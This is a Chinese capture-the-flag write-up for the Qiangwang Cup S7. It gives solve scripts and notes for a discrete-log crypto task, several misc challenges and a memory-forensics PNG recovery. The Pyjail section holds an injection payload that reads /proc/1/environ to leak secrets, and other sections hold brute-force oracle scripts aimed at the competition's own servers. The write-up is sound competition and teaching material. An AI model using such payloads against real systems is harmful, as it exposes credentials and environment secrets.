强网杯S7

我他妈怎么这么菜啊！我他妈怎么这么菜啊！我他妈怎么这么菜啊！

Crypto

discrete_log

DLP问题，p=2q+1,一开始看这个p作为安全素数，怎么能分解，然后查到了几个帖子。

How can I solve the discrete logarithm modulo 2q+1 if I can solve it in the subgroup of order q?

第一个告诉我们安全素数可以从Zp群降到Zq群，其实就是方便分解也没啥特别了。第二个贴说了一个 $r^{x}=hg^{-x_0}\bmod p$ 的办法，结合给出的

flag = 'flag{d3b07b0d416ebb}'

assert len(flag) <= 45
assert flag.startswith('flag{')
assert flag.endswith('}')

可以知道去掉flag头和flag尾，还有pad，字符串应该不大，选择大概在10~20左右进行爆破，就是中间人相遇的问题了，硬爆。

p = 
g = 5
c = 

q = (p - 1) // 2

from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from tqdm import tqdm
from itertools import product

i = 12 # 调一次10多分钟，不会多线程真麻了

tmpf = bytes_to_long(pad(b'flag{' + b'\x00' * i + b'}', 128))
lift = pow(256, (128 - i - len('flag{}') + 1))
c= c* pow(g, -tmpf, p) % p
c= pow(c, inverse(lift, q), p)

table = [hex(i)[2:] for i in range(16)]
dic = dict()
hg, lg = pow(g, 256**(i//2), p), g

for pre in tqdm(product(table, repeat=i//2)):
    pre = bytes_to_long(''.join(pre).encode())
    now = c* pow(hg, -pre, p) % p
    dic[now] = pre

for suf in tqdm(product(table, repeat=i//2)):
    suf = bytes_to_long(''.join(suf).encode())
    now = pow(lg, suf, p)
    if now in dic:
        print(dic[now])
        print(suf)
        print(b'flag{' + long_to_bytes(dic[now]) + long_to_bytes(suf) + b'}')
        
#b'flag{61e8007dd65f}'

Misc

Pyjail ! It’s myFILTER !!!

又又又非预期嘞，参考今年CISCN初赛的可信度量，直接读取环境变量，使用Python的open().read()来读取/proc/1/environ文件的内容
{print(open("/proc/1/environ").read())}

Happy Chess

Welcome to Happy Chess!
The rule is to select a piece and flip all the pieces horizontally and vertically ~
Your goal is to change all the pieces to the same color ~
You will play 10 rounds of the game, and you can get the flag if your total number of moves is no more than 239 ~
If you fail in a round, it will be directly regarded as using 240 steps :)
Have fun ~

Sample input: [x] [y]，按照坐标移动，发现移动坐标一致时，棋盘会循环出现（和石头剪刀布那个逻辑很像），如此手搓十局之后，竟然就拿到了flag，很奇怪）

nc 47.104.199.71 10075
Team Token:
> icq1f53668cd7a8a6cd934da51b6ac0f
Welcome to Happy Chess!

The rule is to select a piece and flip all the pieces horizontally and vertically ~
Your goal is to change all the pieces to the same color ~
You will play 10 rounds of the game, and you can get the flag if your total number of moves is no more than 239 ~
If you fail in a round, it will be directly regarded as using 240 steps :)

Have fun ~


Round 1/10
○○○●●●●○○
○●○○○●●●○
●○○●○●○●○
○○●○○●○●●
○●●●●○○○○
○○●●●●●●○
○○●●○○●●○
○○●●○●○●○
●○●○●○○○●

> 1 1
●●●○○○○●●
●●○○○●●●○
○○○●○●○●○
●○●○○●○●●
●●●●●○○○○
●○●●●●●●○
●○●●○○●●○
●○●●○●○●○
○○●○●○○○●

> 1 1
○○○●●●●○○
○●○○○●●●○
●○○●○●○●○
○○●○○●○●●
○●●●●○○○○
○○●●●●●●○
○○●●○○●●○
○○●●○●○●○
●○●○●○○○●

> 1 1
●●●○○○○●●
●●○○○●●●○
○○○●○●○●○
●○●○○●○●●
●●●●●○○○○
●○●●●●●●○
●○●●○○●●○
●○●●○●○●○
○○●○●○○○●

> 1 1
○○○●●●●○○
○●○○○●●●○
●○○●○●○●○
○○●○○●○●●
○●●●●○○○○
○○●●●●●●○
○○●●○○●●○
○○●●○●○●○
●○●○●○○○●

> 1 1
●●●○○○○●●
●●○○○●●●○
○○○●○●○●○
●○●○○●○●●
●●●●●○○○○
●○●●●●●●○
●○●●○○●●○
●○●●○●○●○
○○●○●○○○●

> 1 1
○○○●●●●○○
○●○○○●●●○
●○○●○●○●○
○○●○○●○●●
○●●●●○○○○
○○●●●●●●○
○○●●○○●●○
○○●●○●○●○
●○●○●○○○●

> 1 1
●●●○○○○●●
●●○○○●●●○
○○○●○●○●○
●○●○○●○●●
●●●●●○○○○
●○●●●●●●○
●○●●○○●●○
●○●●○●○●○
○○●○●○○○●

> 1 1
○○○●●●●○○
○●○○○●●●○
●○○●○●○●○
○○●○○●○●●
○●●●●○○○○
○○●●●●●●○
○○●●○○●●○
○○●●○●○●○
●○●○●○○○●

> 1 1
●●●○○○○●●
●●○○○●●●○
○○○●○●○●○
●○●○○●○●●
●●●●●○○○○
●○●●●●●●○
●○●●○○●●○
●○●●○●○●○
○○●○●○○○●

> 1 1
○○○●●●●○○
○●○○○●●●○
●○○●○●○●○
○○●○○●○●●
○●●●●○○○○
○○●●●●●●○
○○●●○○●●○
○○●●○●○●○
●○●○●○○○●

> exit
Success ~ 10 step(s).
> 
Round 2/10
●●○○○○●○●
●●○○●○○○●
○○○●○○○○●
○○○●●○○●●
●●○○●●○○○
●●○○●●●●○
○●●○○●○○●
○○●○○●○○○
○●○○○○○○●

> 1 1
○○●●●●○●○
○●○○●○○○●
●○○●○○○○●
●○○●●○○●●
○●○○●●○○○
○●○○●●●●○
●●●○○●○○●
●○●○○●○○○
●●○○○○○○●

> 1 1
●●○○○○●○●
●●○○●○○○●
○○○●○○○○●
○○○●●○○●●
●●○○●●○○○
●●○○●●●●○
○●●○○●○○●
○○●○○●○○○
○●○○○○○○●

> 1 1
○○●●●●○●○
○●○○●○○○●
●○○●○○○○●
●○○●●○○●●
○●○○●●○○○
○●○○●●●●○
●●●○○●○○●
●○●○○●○○○
●●○○○○○○●

> 1 1
●●○○○○●○●
●●○○●○○○●
○○○●○○○○●
○○○●●○○●●
●●○○●●○○○
●●○○●●●●○
○●●○○●○○●
○○●○○●○○○
○●○○○○○○●

> 1 1
○○●●●●○●○
○●○○●○○○●
●○○●○○○○●
●○○●●○○●●
○●○○●●○○○
○●○○●●●●○
●●●○○●○○●
●○●○○●○○○
●●○○○○○○●

> 1 1
●●○○○○●○●
●●○○●○○○●
○○○●○○○○●
○○○●●○○●●
●●○○●●○○○
●●○○●●●●○
○●●○○●○○●
○○●○○●○○○
○●○○○○○○●

> 1 1
○○●●●●○●○
○●○○●○○○●
●○○●○○○○●
●○○●●○○●●
○●○○●●○○○
○●○○●●●●○
●●●○○●○○●
●○●○○●○○○
●●○○○○○○●

> 1 1
●●○○○○●○●
●●○○●○○○●
○○○●○○○○●
○○○●●○○●●
●●○○●●○○○
●●○○●●●●○
○●●○○●○○●
○○●○○●○○○
○●○○○○○○●

> 1 1
○○●●●●○●○
○●○○●○○○●
●○○●○○○○●
●○○●●○○●●
○●○○●●○○○
○●○○●●●●○
●●●○○●○○●
●○●○○●○○○
●●○○○○○○●

> 1 1
●●○○○○●○●
●●○○●○○○●
○○○●○○○○●
○○○●●○○●●
●●○○●●○○○
●●○○●●●●○
○●●○○●○○●
○○●○○●○○○
○●○○○○○○●

> exit
Success ~ 10 step(s).
> 
Round 3/10
○○●●●●●●○
●●●●○○○●●
○○●○●○●●○
○●○○●●○●○
○○○○○●○○●
○○●●○○●○●
○○○○●○○○●
●●○○●●○○○
○●○●●○●○○

> 1 1
●●○○○○○○●
○●●●○○○●●
●○●○●○●●○
●●○○●●○●○
●○○○○●○○●
●○●●○○●○●
●○○○●○○○●
○●○○●●○○○
●●○●●○●○○

> 1 1
○○●●●●●●○
●●●●○○○●●
○○●○●○●●○
○●○○●●○●○
○○○○○●○○●
○○●●○○●○●
○○○○●○○○●
●●○○●●○○○
○●○●●○●○○

> 1 1
●●○○○○○○●
○●●●○○○●●
●○●○●○●●○
●●○○●●○●○
●○○○○●○○●
●○●●○○●○●
●○○○●○○○●
○●○○●●○○○
●●○●●○●○○

> 1 1
○○●●●●●●○
●●●●○○○●●
○○●○●○●●○
○●○○●●○●○
○○○○○●○○●
○○●●○○●○●
○○○○●○○○●
●●○○●●○○○
○●○●●○●○○

> 1 1
●●○○○○○○●
○●●●○○○●●
●○●○●○●●○
●●○○●●○●○
●○○○○●○○●
●○●●○○●○●
●○○○●○○○●
○●○○●●○○○
●●○●●○●○○

> 1 1
○○●●●●●●○
●●●●○○○●●
○○●○●○●●○
○●○○●●○●○
○○○○○●○○●
○○●●○○●○●
○○○○●○○○●
●●○○●●○○○
○●○●●○●○○

> 1 1
●●○○○○○○●
○●●●○○○●●
●○●○●○●●○
●●○○●●○●○
●○○○○●○○●
●○●●○○●○●
●○○○●○○○●
○●○○●●○○○
●●○●●○●○○

> 1 1
○○●●●●●●○
●●●●○○○●●
○○●○●○●●○
○●○○●●○●○
○○○○○●○○●
○○●●○○●○●
○○○○●○○○●
●●○○●●○○○
○●○●●○●○○

> 1 1
●●○○○○○○●
○●●●○○○●●
●○●○●○●●○
●●○○●●○●○
●○○○○●○○●
●○●●○○●○●
●○○○●○○○●
○●○○●●○○○
●●○●●○●○○

> 1 1
○○●●●●●●○
●●●●○○○●●
○○●○●○●●○
○●○○●●○●○
○○○○○●○○●
○○●●○○●○●
○○○○●○○○●
●●○○●●○○○
○●○●●○●○○

> exit
Success ~ 10 step(s).
> 
Round 4/10
○○○●●●●●●
○○●●○●●○○
○○○●○●●●○
●●●○●●●○○
●●●○○●●○●
○●○●○●●○○
○○○○●○○●○
○●●○○●●●●
○○○○●●●○●

> 1 1
●●●○○○○○○
●○●●○●●○○
●○○●○●●●○
○●●○●●●○○
○●●○○●●○●
●●○●○●●○○
●○○○●○○●○
●●●○○●●●●
●○○○●●●○●

> 1 1
○○○●●●●●●
○○●●○●●○○
○○○●○●●●○
●●●○●●●○○
●●●○○●●○●
○●○●○●●○○
○○○○●○○●○
○●●○○●●●●
○○○○●●●○●

> 1 1
●●●○○○○○○
●○●●○●●○○
●○○●○●●●○
○●●○●●●○○
○●●○○●●○●
●●○●○●●○○
●○○○●○○●○
●●●○○●●●●
●○○○●●●○●

> 1 1
○○○●●●●●●
○○●●○●●○○
○○○●○●●●○
●●●○●●●○○
●●●○○●●○●
○●○●○●●○○
○○○○●○○●○
○●●○○●●●●
○○○○●●●○●

> 1 1
●●●○○○○○○
●○●●○●●○○
●○○●○●●●○
○●●○●●●○○
○●●○○●●○●
●●○●○●●○○
●○○○●○○●○
●●●○○●●●●
●○○○●●●○●

> 1 1
○○○●●●●●●
○○●●○●●○○
○○○●○●●●○
●●●○●●●○○
●●●○○●●○●
○●○●○●●○○
○○○○●○○●○
○●●○○●●●●
○○○○●●●○●

> 1 1
●●●○○○○○○
●○●●○●●○○
●○○●○●●●○
○●●○●●●○○
○●●○○●●○●
●●○●○●●○○
●○○○●○○●○
●●●○○●●●●
●○○○●●●○●

> 1 1
○○○●●●●●●
○○●●○●●○○
○○○●○●●●○
●●●○●●●○○
●●●○○●●○●
○●○●○●●○○
○○○○●○○●○
○●●○○●●●●
○○○○●●●○●

> 1 1
●●●○○○○○○
●○●●○●●○○
●○○●○●●●○
○●●○●●●○○
○●●○○●●○●
●●○●○●●○○
●○○○●○○●○
●●●○○●●●●
●○○○●●●○●

> exit
Success ~ 9 step(s).
> 
Round 5/10
●○○●●○○○●
●●●●●●○●●
●●●●○●○●○
○●●●●○○●●
●●●○○○○●○
●○○●●●○●●
●○○○○○●●●
●○●○●○●○○
●○●●●●○○●

> 1 1
○●●○○●●●○
○●●●●●○●●
○●●●○●○●○
●●●●●○○●●
○●●○○○○●○
○○○●●●○●●
○○○○○○●●●
○○●○●○●○○
○○●●●●○○●

> 1 1
●○○●●○○○●
●●●●●●○●●
●●●●○●○●○
○●●●●○○●●
●●●○○○○●○
●○○●●●○●●
●○○○○○●●●
●○●○●○●○○
●○●●●●○○●

> 1 1
○●●○○●●●○
○●●●●●○●●
○●●●○●○●○
●●●●●○○●●
○●●○○○○●○
○○○●●●○●●
○○○○○○●●●
○○●○●○●○○
○○●●●●○○●

> 1 1
●○○●●○○○●
●●●●●●○●●
●●●●○●○●○
○●●●●○○●●
●●●○○○○●○
●○○●●●○●●
●○○○○○●●●
●○●○●○●○○
●○●●●●○○●

> 1 1
○●●○○●●●○
○●●●●●○●●
○●●●○●○●○
●●●●●○○●●
○●●○○○○●○
○○○●●●○●●
○○○○○○●●●
○○●○●○●○○
○○●●●●○○●

> 1 1
●○○●●○○○●
●●●●●●○●●
●●●●○●○●○
○●●●●○○●●
●●●○○○○●○
●○○●●●○●●
●○○○○○●●●
●○●○●○●○○
●○●●●●○○●

> 1 1
○●●○○●●●○
○●●●●●○●●
○●●●○●○●○
●●●●●○○●●
○●●○○○○●○
○○○●●●○●●
○○○○○○●●●
○○●○●○●○○
○○●●●●○○●

> 1 1
●○○●●○○○●
●●●●●●○●●
●●●●○●○●○
○●●●●○○●●
●●●○○○○●○
●○○●●●○●●
●○○○○○●●●
●○●○●○●○○
●○●●●●○○●

> 1 1
○●●○○●●●○
○●●●●●○●●
○●●●○●○●○
●●●●●○○●●
○●●○○○○●○
○○○●●●○●●
○○○○○○●●●
○○●○●○●○○
○○●●●●○○●

> 1 1
●○○●●○○○●
●●●●●●○●●
●●●●○●○●○
○●●●●○○●●
●●●○○○○●○
●○○●●●○●●
●○○○○○●●●
●○●○●○●○○
●○●●●●○○●

> exit
Success ~ 10 step(s).
> 
Round 6/10
●●●●●○●●●
●●●●●○●●●
○○○●●○●●○
●●●○○●○○○
●●●●●●○●●
○○●●○●○○●
○○○○○○○○○
○●●○○○○●●
○●○●○●●●●

> 1 1
○○○○○●○○○
○●●●●○●●●
●○○●●○●●○
○●●○○●○○○
○●●●●●○●●
●○●●○●○○●
●○○○○○○○○
●●●○○○○●●
●●○●○●●●●

> 1 1
●●●●●○●●●
●●●●●○●●●
○○○●●○●●○
●●●○○●○○○
●●●●●●○●●
○○●●○●○○●
○○○○○○○○○
○●●○○○○●●
○●○●○●●●●

> 1 1
○○○○○●○○○
○●●●●○●●●
●○○●●○●●○
○●●○○●○○○
○●●●●●○●●
●○●●○●○○●
●○○○○○○○○
●●●○○○○●●
●●○●○●●●●

> 1 1
●●●●●○●●●
●●●●●○●●●
○○○●●○●●○
●●●○○●○○○
●●●●●●○●●
○○●●○●○○●
○○○○○○○○○
○●●○○○○●●
○●○●○●●●●

> 1 1
○○○○○●○○○
○●●●●○●●●
●○○●●○●●○
○●●○○●○○○
○●●●●●○●●
●○●●○●○○●
●○○○○○○○○
●●●○○○○●●
●●○●○●●●●

> 1 1
●●●●●○●●●
●●●●●○●●●
○○○●●○●●○
●●●○○●○○○
●●●●●●○●●
○○●●○●○○●
○○○○○○○○○
○●●○○○○●●
○●○●○●●●●

> 1 1
○○○○○●○○○
○●●●●○●●●
●○○●●○●●○
○●●○○●○○○
○●●●●●○●●
●○●●○●○○●
●○○○○○○○○
●●●○○○○●●
●●○●○●●●●

> 1 1
●●●●●○●●●
●●●●●○●●●
○○○●●○●●○
●●●○○●○○○
●●●●●●○●●
○○●●○●○○●
○○○○○○○○○
○●●○○○○●●
○●○●○●●●●

> 1 1
○○○○○●○○○
○●●●●○●●●
●○○●●○●●○
○●●○○●○○○
○●●●●●○●●
●○●●○●○○●
●○○○○○○○○
●●●○○○○●●
●●○●○●●●●

> 1 1
●●●●●○●●●
●●●●●○●●●
○○○●●○●●○
●●●○○●○○○
●●●●●●○●●
○○●●○●○○●
○○○○○○○○○
○●●○○○○●●
○●○●○●●●●

> exit
Success ~ 10 step(s).
> 
Round 7/10
●○○○●○○●●
●○●●○○●●●
●●●○●○●○●
○○○●●●○○●
○●○●●●●○●
●○●●●○○○○
●○○○●○●●○
○●○●○●○○●
●●●●○●○●○

> 1 1
○●●●○●●○○
○○●●○○●●●
○●●○●○●○●
●○○●●●○○●
●●○●●●●○●
○○●●●○○○○
○○○○●○●●○
●●○●○●○○●
○●●●○●○●○

> 1 1
●○○○●○○●●
●○●●○○●●●
●●●○●○●○●
○○○●●●○○●
○●○●●●●○●
●○●●●○○○○
●○○○●○●●○
○●○●○●○○●
●●●●○●○●○

> 1 1
○●●●○●●○○
○○●●○○●●●
○●●○●○●○●
●○○●●●○○●
●●○●●●●○●
○○●●●○○○○
○○○○●○●●○
●●○●○●○○●
○●●●○●○●○

> 1 1
●○○○●○○●●
●○●●○○●●●
●●●○●○●○●
○○○●●●○○●
○●○●●●●○●
●○●●●○○○○
●○○○●○●●○
○●○●○●○○●
●●●●○●○●○

> 1 1
○●●●○●●○○
○○●●○○●●●
○●●○●○●○●
●○○●●●○○●
●●○●●●●○●
○○●●●○○○○
○○○○●○●●○
●●○●○●○○●
○●●●○●○●○

> 1 1
●○○○●○○●●
●○●●○○●●●
●●●○●○●○●
○○○●●●○○●
○●○●●●●○●
●○●●●○○○○
●○○○●○●●○
○●○●○●○○●
●●●●○●○●○

> 1 1
○●●●○●●○○
○○●●○○●●●
○●●○●○●○●
●○○●●●○○●
●●○●●●●○●
○○●●●○○○○
○○○○●○●●○
●●○●○●○○●
○●●●○●○●○

> 1 1
●○○○●○○●●
●○●●○○●●●
●●●○●○●○●
○○○●●●○○●
○●○●●●●○●
●○●●●○○○○
●○○○●○●●○
○●○●○●○○●
●●●●○●○●○

> 1 1
○●●●○●●○○
○○●●○○●●●
○●●○●○●○●
●○○●●●○○●
●●○●●●●○●
○○●●●○○○○
○○○○●○●●○
●●○●○●○○●
○●●●○●○●○

> 1 1
●○○○●○○●●
●○●●○○●●●
●●●○●○●○●
○○○●●●○○●
○●○●●●●○●
●○●●●○○○○
●○○○●○●●○
○●○●○●○○●
●●●●○●○●○

> exit
Success ~ 10 step(s).
> 
Round 8/10
○●○○●●○●○
●○○●●○○○●
○●●○○●●●●
●●●●○●●●●
●○○●○●●○○
●●○●○○●●●
●○●○○○●●○
●●●●●●●●○
○●○●●●○○○

> 1 1
●○●●○○●○●
○○○●●○○○●
●●●○○●●●●
○●●●○●●●●
○○○●○●●○○
○●○●○○●●●
○○●○○○●●○
○●●●●●●●○
●●○●●●○○○

> 1 1
○●○○●●○●○
●○○●●○○○●
○●●○○●●●●
●●●●○●●●●
●○○●○●●○○
●●○●○○●●●
●○●○○○●●○
●●●●●●●●○
○●○●●●○○○

> 1 1
●○●●○○●○●
○○○●●○○○●
●●●○○●●●●
○●●●○●●●●
○○○●○●●○○
○●○●○○●●●
○○●○○○●●○
○●●●●●●●○
●●○●●●○○○

> 1 1
○●○○●●○●○
●○○●●○○○●
○●●○○●●●●
●●●●○●●●●
●○○●○●●○○
●●○●○○●●●
●○●○○○●●○
●●●●●●●●○
○●○●●●○○○

> 1 1
●○●●○○●○●
○○○●●○○○●
●●●○○●●●●
○●●●○●●●●
○○○●○●●○○
○●○●○○●●●
○○●○○○●●○
○●●●●●●●○
●●○●●●○○○

> 1 1
○●○○●●○●○
●○○●●○○○●
○●●○○●●●●
●●●●○●●●●
●○○●○●●○○
●●○●○○●●●
●○●○○○●●○
●●●●●●●●○
○●○●●●○○○

> 1 1
●○●●○○●○●
○○○●●○○○●
●●●○○●●●●
○●●●○●●●●
○○○●○●●○○
○●○●○○●●●
○○●○○○●●○
○●●●●●●●○
●●○●●●○○○

> 1 1
○●○○●●○●○
●○○●●○○○●
○●●○○●●●●
●●●●○●●●●
●○○●○●●○○
●●○●○○●●●
●○●○○○●●○
●●●●●●●●○
○●○●●●○○○

> 1 1
●○●●○○●○●
○○○●●○○○●
●●●○○●●●●
○●●●○●●●●
○○○●○●●○○
○●○●○○●●●
○○●○○○●●○
○●●●●●●●○
●●○●●●○○○

> 1 1
○●○○●●○●○
●○○●●○○○●
○●●○○●●●●
●●●●○●●●●
●○○●○●●○○
●●○●○○●●●
●○●○○○●●○
●●●●●●●●○
○●○●●●○○○

> exit
Success ~ 10 step(s).
> 
Round 9/10
●○○○○○●○○
●○●●●●●●●
○●○●●●○○○
●●●●○○○○○
●○○○●●●●●
●●○○●●●●○
●●○○○●●○○
○●○●●○○○●
○●○○●●●●●

> 1 1
○●●●●●○●●
○○●●●●●●●
●●○●●●○○○
○●●●○○○○○
○○○○●●●●●
○●○○●●●●○
○●○○○●●○○
●●○●●○○○●
●●○○●●●●●

> 1 1
●○○○○○●○○
●○●●●●●●●
○●○●●●○○○
●●●●○○○○○
●○○○●●●●●
●●○○●●●●○
●●○○○●●○○
○●○●●○○○●
○●○○●●●●●

> 1 1
○●●●●●○●●
○○●●●●●●●
●●○●●●○○○
○●●●○○○○○
○○○○●●●●●
○●○○●●●●○
○●○○○●●○○
●●○●●○○○●
●●○○●●●●●

> 1 1
●○○○○○●○○
●○●●●●●●●
○●○●●●○○○
●●●●○○○○○
●○○○●●●●●
●●○○●●●●○
●●○○○●●○○
○●○●●○○○●
○●○○●●●●●

> 1 1
○●●●●●○●●
○○●●●●●●●
●●○●●●○○○
○●●●○○○○○
○○○○●●●●●
○●○○●●●●○
○●○○○●●○○
●●○●●○○○●
●●○○●●●●●

> 1 1
●○○○○○●○○
●○●●●●●●●
○●○●●●○○○
●●●●○○○○○
●○○○●●●●●
●●○○●●●●○
●●○○○●●○○
○●○●●○○○●
○●○○●●●●●

> 1 1
○●●●●●○●●
○○●●●●●●●
●●○●●●○○○
○●●●○○○○○
○○○○●●●●●
○●○○●●●●○
○●○○○●●○○
●●○●●○○○●
●●○○●●●●●

> 1 1
●○○○○○●○○
●○●●●●●●●
○●○●●●○○○
●●●●○○○○○
●○○○●●●●●
●●○○●●●●○
●●○○○●●○○
○●○●●○○○●
○●○○●●●●●

> 1 1
○●●●●●○●●
○○●●●●●●●
●●○●●●○○○
○●●●○○○○○
○○○○●●●●●
○●○○●●●●○
○●○○○●●○○
●●○●●○○○●
●●○○●●●●●

> 1 1
●○○○○○●○○
●○●●●●●●●
○●○●●●○○○
●●●●○○○○○
●○○○●●●●●
●●○○●●●●○
●●○○○●●○○
○●○●●○○○●
○●○○●●●●●

> exit
Success ~ 10 step(s).
> 
Round 10/10
○○●○○●○○○
○○○●●○○○○
●○○●●○●○○
○○○○●○○●○
○●●●●●●○○
○○●○●○○○○
○●○○○●●○●
●●○●●●○●○
○●●○○○●○●

> 1 1
●●○●●○●●●
●○○●●○○○○
○○○●●○●○○
●○○○●○○●○
●●●●●●●○○
●○●○●○○○○
●●○○○●●○●
○●○●●●○●○
●●●○○○●○●

> 1 1
○○●○○●○○○
○○○●●○○○○
●○○●●○●○○
○○○○●○○●○
○●●●●●●○○
○○●○●○○○○
○●○○○●●○●
●●○●●●○●○
○●●○○○●○●

> 1 1
●●○●●○●●●
●○○●●○○○○
○○○●●○●○○
●○○○●○○●○
●●●●●●●○○
●○●○●○○○○
●●○○○●●○●
○●○●●●○●○
●●●○○○●○●

> 1 1
○○●○○●○○○
○○○●●○○○○
●○○●●○●○○
○○○○●○○●○
○●●●●●●○○
○○●○●○○○○
○●○○○●●○●
●●○●●●○●○
○●●○○○●○●

> 1 1
●●○●●○●●●
●○○●●○○○○
○○○●●○●○○
●○○○●○○●○
●●●●●●●○○
●○●○●○○○○
●●○○○●●○●
○●○●●●○●○
●●●○○○●○●

> 1 1
○○●○○●○○○
○○○●●○○○○
●○○●●○●○○
○○○○●○○●○
○●●●●●●○○
○○●○●○○○○
○●○○○●●○●
●●○●●●○●○
○●●○○○●○●

> 1 1
●●○●●○●●●
●○○●●○○○○
○○○●●○●○○
●○○○●○○●○
●●●●●●●○○
●○●○●○○○○
●●○○○●●○●
○●○●●●○●○
●●●○○○●○●

> 1 1
○○●○○●○○○
○○○●●○○○○
●○○●●○●○○
○○○○●○○●○
○●●●●●●○○
○○●○●○○○○
○●○○○●●○●
●●○●●●○●○
○●●○○○●○●

> 1 1
●●○●●○●●●
●○○●●○○○○
○○○●●○●○○
●○○○●○○●○
●●●●●●●○○
●○●○●○○○○
●●○○○●●○●
○●○●●●○●○
●●●○○○●○●

> 1 1
○○●○○●○○○
○○○●●○○○○
●○○●●○●○○
○○○○●○○●○
○●●●●●●○○
○○●○●○○○○
○●○○○●●○●
●●○●●●○●○
○●●○○○●○●

> exit
Success ~ 10 step(s).
> 
Ok, You moved 99 steps
Congratulations!! Your flag:

flag{8486843b4825b381848030880236252b}

easyfuzz

一个个遍历9位字符
返回的0代表该位字符不对，1则代表该位字符正确

from pwn import *
import string
import os

context.log_level = 'error'
a = 9
flag = ''
def send_string(data):
    r = remote('101.200.122.251', 12199)  # 远程服务器的地址和端口号，替换为实际值
    r.recvuntil(b"Enter a string (should be less than 10 bytes): ")  # 接收并丢弃直到遇到指定字符串的输入
    r.sendline(data)  # 发送数据到服务器
    result = r.recvline().decode().strip()  # 接收服务器回传的数据
    if 'flag' in result:
        print(result)
        os.system(exit)
    print("Sent:", data)  # 打印发送的数据
    print("Received:", result)  # 打印接收到的数据
    r.close()  # 关闭与服务器的连接
    return result

def find_correct_string(current_string, position):
    global flag
    global a
    charset = string.digits + string.ascii_letters  # 可能字符的集合，digits 是数字，ascii_letters 是字母

    if position == 9:  # 达到字符串的长度上限
        result = send_string(current_string)  # 发送当前字符串并获取结果
        if result[-1] == '1':  # 如果结果的最后一个字符是 '1'，表示字符串是正确的
            return current_string
        else:
            return None
    for c in charset:  # 遍历可能的字符集合
        test_string = ( flag + c +'0'*(8-len(flag))).encode()  # 组合测试字符串，将未使用的位置填充为 '0'
        result = send_string(test_string)  # 发送测试字符串并获取结果
        if result[-(9-len(flag))] == '1': 
            flag = flag + chr(test_string[-(9-len(flag))])
            print(flag)
            recursive_result = find_correct_string(test_string.decode(), position+1)  # 递归调用，继续验证下一个字符位置
            if recursive_result is not None:  # 如果递归结果不为空，表示找到了正确的字符串
                return recursive_result
          
                
    return None  # 如果在所有可能的字符中都未找到正确的字符串，则返回 None

correct_string = find_correct_string('', 0)  # 从空字符串开始验证
print("Correct string:", correct_string)  # 打印正确的字符串

强网先锋

石头剪刀布

# 爆破求解 发现机器出拳在前面出拳顺序相同的情况下始终不变 
# 每轮剪刀石头布都尝试一次
# 获胜则记录下出拳, 用于下一次的求解
# 运行爆破后再手动将输出结果粘贴到success函数
import random
from pwn import *

context.log_level = 'critical'

link = 'nc 8.147.129.191 42289'.split(' ')
p = remote(link[1], link[2])

winning_strategy = []

# while len(winning_strategy) < 100:
while 0:
    p = remote(link[1], link[2])
    for i in winning_strategy:
        p.sendline(str(i).encode())
    p.recv()
    # out = (p.recv().decode(encoding='utf-8'))[-50:]
    # out = p.recvuntil('你的分数：'.encode(encoding='utf-8'))[-50:]
    out = p.recvrepeat(timeout=1)[-180:-50]
    # print(p.recvuntil(b'-----------------------------------',drop=1),end='\t')
    # print(out)
    for i in range(3):
        p.sendline(str(i).encode())
        out = p.recvrepeat(timeout=1)[-180:-50]
        print(i, end='\t')
        # print(out)
        if '你赢了'.encode(encoding='utf-8') in out:
            winning_strategy.append(i)
            break
        if '平局'.encode(encoding='utf-8') or 'Me10n赢了'.encode(encoding='utf-8') in out:
            print('[-] pass')
        p.close()
        p = remote(link[1], link[2])
        for i in winning_strategy:
            p.sendline(str(i).encode())
        # print(out.decode(encoding='utf8', errors='ignore'))
    p.close()
    print(len(winning_strategy), winning_strategy)

def success():
    win = [1, 2, 1, 2, 1, 2, 2, 0, 0, 1, 2, 0, 1, 2, 0, 2, 0, 0, 2, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 0, 1, 0, 1, 0, 2, 0, 2, 1, 2, 1, 0, 2, 1, 0, 0, 1, 2, 2, 0, 1, 2, 0, 0, 2, 1, 1, 1, 2, 2, 1, 2, 2, 0, 0, 0, 0, 1, 2, 2, 0, 1, 0, 1, 0, 1, 1, 2, 0, 2, 1, 0, 2, 2, 1, 2, 0, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1]
    for i in win:
        p.sendline(str(i).encode())

success()
p.interactive()

SpeedUp

https://oeis.org/A244060/list
直接接看2^27

找到PNG了吗

不太会Linux内存取证，用R-studio看了一下，没找到啥有用的东西，直接Strings 找到PNG了吗.mem（这个过程要耗一点时间，文件太大了）
然后在字符串中翻看到一处加密程序

主要加密函数如下，根据 rc4_encrypt_decrypt可以看出这是一个对文件进行RC4加密的程序

    int a=0;
    char q[10];
    unsigned char key[]="do_not_care";
    unsigned char key2[] = "where_is_the_key";
    FILE* file = fopen("have_your_fun.jocker", "wb");
    if (file == NULL) {
        printf("open file failed!\n");
        return 1;
    }
    unsigned char *str;
    str = (char *) malloc(20000);
    memcpy(str, buff, 20000);
rc4_encrypt_decrypt(key2, str, 20000);
    printf("please give me the key of fun:");
    scanf("%s",q);
    rc4_encrypt_decrypt(key, str, 20000);
    
    fwrite(buff, 1, 20000, file);
    printf("maybe you go wrong");
    fclose(file);
    close(clientSocket);
    return 0;

再根据题目信息猜测这个加密程序对发送的png图片做了处理，所以我们逆向思维去找加密后的png图片，以png文件头为特征值RC4加密得到，新的文件头0e 3c b4 2f 99 96 95 56

往下翻，看到一些无效数据，所以在这里下断点，将上面的hex数据另存为文件，再用赛博厨子解密即可

https://cyberchef.cn/#recipe=To_Hex(‘Space’,0)RC4(%7B’option’:’UTF8’,’string’:’do_not_care’%7D,’Hex’,’Latin1’)To_Hex(‘Space’,0/disabled)Render_Image(‘Raw’)&input=Djy0L5mWlVa%2Ba%2B/pQkhdGNUXemfs8DMUX0aar/xADCXQusOwoIskPQRXYX3sfWfZidGPJ1uM4Tk13pVKniN23LZXVSm7ZIGfFniwZwHKUxr%2B%2Bj0YkHCzR3BeQnszEuY/HCRN/mCwxzKm6NBbVj6SXUhMscmko8ugK7FhejOTl9ktAGE9NEcw/xWJVeXVA5nR9hVn13gAH9PDOHzgrnxFhARF64giI4Ou%2B6ROhmWuZMpGKt4LespSJNqj0r9XTrYVrWpF1qn9NXdC3GCO1NSd4Y7NtJFBWAzlMuXxIM5i3z64cLkspdQR0qRi33W5QvzE4KBt4%2Bp0u4Zwvl4RaMW3UGwA2lBrrjzOTMA%2Bbd4be7mru04srcktpuBuVkDGb6KJAXO74qu1QMx2wPFY2td5ohJtD4IZbsFp9G9oy